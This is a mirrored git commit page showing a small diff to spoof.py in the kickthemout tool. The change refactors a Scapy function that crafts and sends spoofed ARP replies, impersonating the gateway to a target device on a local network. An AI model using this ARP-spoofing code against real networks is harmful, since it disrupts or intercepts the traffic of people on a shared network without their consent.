mirror of
https://github.com/k4m4/kickthemout.git
synced 2025-02-20 09:28:58 +01:00
Update spoof.py
This commit is contained in:
parent
59a8bdd136
commit
94c1fddea9
8
spoof.py
8
spoof.py
@ -22,6 +22,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
||||
# Function for sending the malicious ARP packets out with the specified data
|
||||
ether = Ether()
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac
|
||||
|
||||
arp = ARP()
|
||||
arp.psrc = gateway_ip
|
||||
@ -30,15 +31,10 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
||||
arp = arp
|
||||
arp.pdst = target_ip
|
||||
arp.hwdst = target_mac
|
||||
|
||||
ether = ether
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac
|
||||
|
||||
arp.op = 2
|
||||
|
||||
def broadcastPacket():
|
||||
packet = ether / arp
|
||||
sendp(x=packet, verbose=False)
|
||||
|
||||
broadcastPacket()
|
||||
broadcastPacket()
|
||||
|
Loading…
x
Reference in New Issue
Block a user